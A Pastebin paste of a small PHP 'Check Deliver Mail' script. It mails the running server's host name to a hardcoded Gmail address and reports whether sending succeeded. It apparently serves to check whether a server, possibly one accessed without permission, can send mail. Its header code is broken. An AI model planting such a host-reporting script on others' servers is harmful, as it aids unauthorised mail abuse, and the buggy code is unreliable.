Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <body bgcolor="black">
- <?php
- $name = "Check Deliver Mail";
- $to = "mantanartis21@gmail.com";
- $web="$_SERVER[HTTP_HOST]";
- $subject = "Success to Deliver Result";
- $body = '
- <a href="https://wikipedia.org/">Hello I am Here!</a>
- ';
- $email = "Check@$web";
- $headers = 'From: ' .$email . "\r\n".
- $headers = "Content-type: text/html\r\n";
- 'Reply-To: ' . $email. "\r\n" .
- 'X-Mailer: PHP/' . phpversion();
- if (mail($to,$subject,$body,$headers,$name)) {
- echo("<font color=lime>Email Sended To => $to </font>");
- } else {
- echo("<font color=red>Mail Not Supported!</font>");
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement